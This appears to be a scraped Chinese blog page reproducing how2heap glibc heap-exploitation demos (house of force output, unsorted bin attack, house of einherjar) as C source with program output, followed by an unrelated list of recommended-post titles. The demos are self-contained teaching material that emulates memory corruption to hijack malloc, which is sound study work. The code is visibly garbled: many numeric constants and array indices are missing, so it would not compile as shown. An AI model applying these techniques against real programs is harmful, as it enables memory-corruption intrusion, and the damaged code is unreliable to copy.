The top chunk is a special chunk. Is the last in memory and is the chunk that will be resized when malloc asks for more space from the os. In the end, we will use this to overwrite a variable at 0x602060.
Its current value is: This is a string that we want to overwrite. Let's allocate the first chunk, taking space from the wilderness.
The chunk of bytes has been allocated at 0x1080420. Now the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.
Real size (aligned and all that jazz) of our allocated chunk is . Now let's emulate a vulnerability that can overwrite the header of the Top Chunk The top chunk starts at 0x1080528 Overwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.
Old size of top chunk 0x20ae1
New size of top chunk 0xffffffffffffffff The size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.
Next, we will allocate a chunk that will get us right up against the desired region (with an integer
overflow) and will then be able to allocate a chunk right over the desired region. The value we want to write to at 0x602060, and the top chunk is at 0x1080528, so accounting for the header size,
we will malloc 0xffffffffff581b28 bytes.
As expected, the new pointer is at the same place as the old top chunk: 0x1080530 Now, the next chunk we overwrite will point at our target buffer.
malloc() => 0x602060!
Now, we can finally overwrite that value:
... old string: This is a string that we want to overwrite.
... doing strcpy overwrite with "YEAH!!!"...
... new string: YEAH!!!
输出
10 unsorted_bin_attack
#include <stdio.h>
#include <stdlib.h> int main(){
printf("This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");
printf("In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n"); unsigned long stack_var=;
printf("Let's first look at the target we want to rewrite on stack:\n");
printf("%p: %ld\n\n", &stack_var, stack_var); unsigned long *p=malloc();
printf("Now, we allocate first normal chunk on the heap at: %p\n",p);
printf("And allocate another normal chunk in order to avoid consolidating the top chunk with"
"the first one during the free()\n\n");
malloc(); free(p);
printf("We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
"point to %p\n",(void*)p[]); //------------VULNERABILITY----------- p[]=(unsigned long)(&stack_var-);
printf("Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
printf("And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[]); //------------------------------------ malloc();
printf("Let's malloc again to get the chunk we just free. During this time, target should has already been "
"rewrite:\n");
printf("%p: %p\n", &stack_var, (void*)stack_var);
}
源码
This file demonstrates unsorted bin attack by write a large unsigned long value into stack
In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the global variable global_max_fast in libc for further fastbin attack Let's first look at the target we want to rewrite on stack:
0x7ffdfbf07668: Now, we allocate first normal chunk on the heap at: 0x18cd420
And allocate another normal chunk in order to avoid consolidating the top chunk withthe first one during the free() We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer point to 0x7fca08420b78
Now emulating a vulnerability that can overwrite the victim->bk pointer
And we write it with the target address- (in -bits machine, it should be target address-):0x7ffdfbf07658 Let's malloc again to get the chunk we just free. During this time, target should has already been rewrite:
0x7ffdfbf07668: 0x7fca08420b78
输出
11 house_of_einherjar
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h> /*
Credit to st4g3r for publishing this technique
The House of Enherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()
This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak.
*/ int main()
{
printf("Welcome to House of Einherjar!\n");
printf("Tested in Ubuntu 16.04 64bit.\n");
printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n"); uint8_t* a;
uint8_t* b;
uint8_t* c;
uint8_t* d; printf("\nWe allocate 0x38 bytes for 'a'\n");
a = (uint8_t*) malloc(0x38);
printf("a: %p\n", a); int real_a_size = malloc_usable_size(a);
printf("Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n", real_a_size); // create a fake chunk
printf("\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n");
printf("However, you can also create the chunk in the heap or the bss, as long as you know its address\n");
printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");
printf("(although we could do the unsafe unlink technique here in some scenarios)\n"); size_t fake_chunk[]; fake_chunk[] = 0x41414141; // prev_size not used
fake_chunk[] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
fake_chunk[] = (size_t) fake_chunk; // fwd
fake_chunk[] = (size_t) fake_chunk; // bck printf("Our fake chunk at %p looks like:\n", fake_chunk);
printf("prev_size (not used): %#lx\n", fake_chunk[]);
printf("size: %#lx\n", fake_chunk[]);
printf("fwd: %#lx\n", fake_chunk[]);
printf("bck: %#lx\n", fake_chunk[]); /* In this case it is easier if the chunk size attribute has a least significant byte with
* a value of 0x00. The least significant byte of this will be 0x00, because the size of
* the chunk includes the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0xf8);
int real_b_size = malloc_usable_size(b); printf("\nWe allocate 0xf8 bytes for 'b'.\n");
printf("b: %p\n", b); printf("We allocate a 3rd chunk to make sure we don't touch the wilderness (not necessary)\n");
c = malloc(0x60);
printf("c: %p\n", c); uint64_t* b_size_ptr = (uint64_t*)(b - );
/* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/ printf("\nb.size: %#lx\n", *b_size_ptr);
printf("b.size is: (0x100) | prev_inuse = 0x101\n");
printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
a[real_a_size] = ;
printf("b.size: %#lx\n", *b_size_ptr);
printf("This is easiest if b.size is a multiple of 0x100 so you "
"don't change the size of b, only its prev_inuse bit\n");
printf("If it had been modified, we would need a fake chunk inside "
"b where it will try to consolidate the next chunk\n"); // Write a fake prev_size to the end of a
printf("\nWe write a fake prev_size to the last %lu bytes of a so that "
"it will consolidate with our fake chunk\n", sizeof(size_t));
size_t fake_size = (size_t)((b-sizeof(size_t)*) - (uint8_t*)fake_chunk);
printf("Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*, fake_chunk, fake_size);
*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size; // free b and it will consolidate with our fake chunk
printf("Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n");
free(b);
printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[]);
printf("We edit our fake chunk size so that it is small enough to pass size checks\n");
printf("This wouldn't be necessary if our fake chunk was the top chunk (if we hadn't allocated c)\n"); fake_chunk[] = 0x1000;
printf("New fake_chunk size: %#lx\n", fake_chunk[]); printf("\nNow we can call malloc() and it will begin in our fake chunk\n");
d = malloc(0x200);
printf("Next malloc(0x200) is at %p\n", d);
}
源码
Welcome to House of Einherjar!
Tested in Ubuntu 16.04 64bit.
This technique can be used when you have an off-by-one into a malloc'ed region with a null byte. We allocate 0x38 bytes for 'a'
a: 0x8f3420
Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: 0x38 We create a fake chunk wherever we want, in this case we'll create the chunk on the stack
However, you can also create the chunk in the heap or the bss, as long as you know its address
We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks
(although we could do the unsafe unlink technique here in some scenarios)
Our fake chunk at 0x7fff290b69b0 looks like:
prev_size (not used): 0x41414141
size: 0x100
fwd: 0x7fff290b69b0
bck: 0x7fff290b69b0 We allocate 0xf8 bytes for 'b'.
b: 0x8f3460
We allocate a 3rd chunk to make sure we don't touch the wilderness (not necessary)
c: 0x8f3560 b.size: 0x101
b.size is: (0x100) | prev_inuse = 0x101
We overflow 'a' with a single null byte into the metadata of 'b'
b.size: 0x100
This is easiest if b.size is a multiple of 0x100 so you don't change the size of b, only its prev_inuse bit
If it had been modified, we would need a fake chunk inside b where it will try to consolidate the next chunk We write a fake prev_size to the last bytes of a so that it will consolidate with our fake chunk
Our fake prev_size will be 0x8f3450 - 0x7fff290b69b0 = 0xffff8000d783caa0
Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set
Our fake chunk size is now 0xffff8000d783cba1 (b.size + fake_prev_size)
We edit our fake chunk size so that it is small enough to pass size checks
This wouldn't be necessary if our fake chunk was the top chunk (if we hadn't allocated c)
New fake_chunk size: 0x1000 Now we can call malloc() and it will begin in our fake chunk
Next malloc(0x200) is at 0x7fff290b69c0
输出
how2heap 源码及输出的更多相关文章
- Hadoop源码篇---解读Mapprer源码outPut输出
一.前述 上次讲完MapReduce的输入后,这次开始讲MapReduce的输出.注意MapReduce的原语很重要: "相同"的key为一组,调用一次reduce方法,方法内迭代 ...
- jQuery.clean()方法源码分析(一)
在jQuery 1.7.1中调用jQuery.clean()方法的地方有三处,第一次就是在我之前的随笔分析jQuery.buildFramgment()方法里面的,其实还是构造函数的一部分,在处理诸如 ...
- javascript版的quine程序-返回自身源码
引用自Wikipedia: 一个quine是一个计算机程序,它不接受任何输入,且唯一的输出就是自身的源代码. @cowboy (Ben Alman) 给出了一个用JavaScript写的quine程序 ...
- Android底层有一定的认识,研究过相关的Android源码
一.系统架构: 一).系统分层:(由下向上)[如图] 1.安卓系统分为四层,分别是Linux内核层.Libraries层.FrameWork层,以及Applications层: 其中Linux内核层包 ...
- Android FrameWork 学习之Android 系统源码调试
这是很久以前访问掘金的时候 无意间看到的一个关于Android的文章,作者更细心,分阶段的将学习步骤记录在自己博客中,我觉得很有用,想作为分享同时也是留下自己知识的一些欠缺收藏起来,今后做项目的时候会 ...
- android源码环境下用mmm/mm编译模块,输出编译log到文件的方法
android源码环境下用mmm/mm编译模块,输出编译log到文件的方法 1,在android目录下直接用mmm命令编译, log信息保存在android目录下 mmm packages/apps/ ...
- php源码分析之php_info输出中css样式是怎么来的
我们经常使用echo phpinfo();查看php的配置信息,但是大家知道里面的css样式是怎么来的吗? 我们查看源码(php源码/ext/standard/css.c) PHPAPI void p ...
- 控制台程序的中文输出乱码问题(export LC_CTYPE=zh_CN.GBK,或者修改/etc/sysconfig/i18n为zh_CN.GBK。使用setlocale(LC_CTYPE, "");会使用默认办法。编译器会将源码做转换成Unicode格式,或者指定gcc的输入文件的编码参数-finput-charset=GBK。Linux下应该用wprintf(L"%ls/n",wstr))
今天发现用securecrt登陆时,gcc编译出错时会出现乱码,但直接在主机的窗口界面下用Shell编译却没有乱码.查看了一下当时的错误描述,发现它的引号是中文引号,导致在SecureCRT中显示出错 ...
- 机器学习:weka中Evaluation类源码解析及输出AUC及交叉验证介绍
在机器学习分类结果的评估中,ROC曲线下的面积AOC是一个非常重要的指标.下面是调用weka类,输出AOC的源码: try { // 1.读入数据集 Instances data = new Inst ...
随机推荐
- 夯实Java基础系列21:Java8新特性终极指南
本系列文章将整理到我在GitHub上的<Java面试指南>仓库,更多精彩内容请到我的仓库里查看 https://github.com/h2pl/Java-Tutorial 喜欢的话麻烦点下 ...
- Spring Cloud Config Server 节点迁移引起的问题,请格外注意这一点!
前言: 虽然强烈推荐选择使用国内开源的配置中心,如携程开源的 Apollo 配置中心.阿里开源的 Nacos 注册&配置中心. 但实际架构选型时,根据实际项目规模.业务复杂性等因素,有的项目还 ...
- SpringCloud系列-利用Feign实现声明式服务调用
上一篇文章<手把手带你利用Ribbon实现客户端的负载均衡>介绍了消费者通过Ribbon调用服务实现负载均衡的过程,里面所需要的参数需要在请求的URL中进行拼接,但是参数太多会导致拼接字符 ...
- CSDN VIP如何添加引流自定义栏目
几个月前我也开始在csdn上开了博客,一来给自己加几个少的可怜的流量,再者,让公众号的原创文章获得更多的曝光,让有需要的同学看到. 写过csdn博客的同学都知道,默认只有打赏c币功能:也没有专门广告位 ...
- SQL 存储过程示例讲解
create proc score_result ) --参数 as declare --定义变量@courseNo int, @testTime1 datetime, @avg int begin ...
- eclipse常用快捷键即项目操作
快捷键: 1.代码提示:Alt+/ 2.撤销上一步操作:Ctrl+z:取消撤销:Ctrl+y: 3.如何注销一整段代码?☞▲第一种注释方法是每行代码前加//:先选中,然后按Ctrl+/:取消注销方法一 ...
- Qt 找不到rc.exe
Qt在window下出现编译错误: LINK : fatal error LNK1158: 无法运行“rc.exe” 解决: 找到rc.exe的放置路径,比如我的在下面: C:\Program Fil ...
- mysql数据备份之 xtrabackup
上一篇简单介绍了一下mysqldump进行数据库的备份和恢复,这一篇说一下另一种备份工具xtrabackup,在InnoDB事务引擎泛滥的时代,xtrabackup可以很好的支持数据库的热备份,这就很 ...
- 聊聊缓存淘汰算法-LRU 实现原理
前言 我们常用缓存提升数据查询速度,由于缓存容量有限,当缓存容量到达上限,就需要删除部分数据挪出空间,这样新数据才可以添加进来.缓存数据不能随机删除,一般情况下我们需要根据某种算法删除缓存数据.常用淘 ...
- 微信小程序开发注意事项(优化项)
最近公司有一个小程序开发项目,自己也自学了不少,有一些开发小心得,记录在这里. 小程序开发中注意: 1,setData 小程序视图层和逻辑层在两个独立的模块,并不具备数据直接传递的,setData相当 ...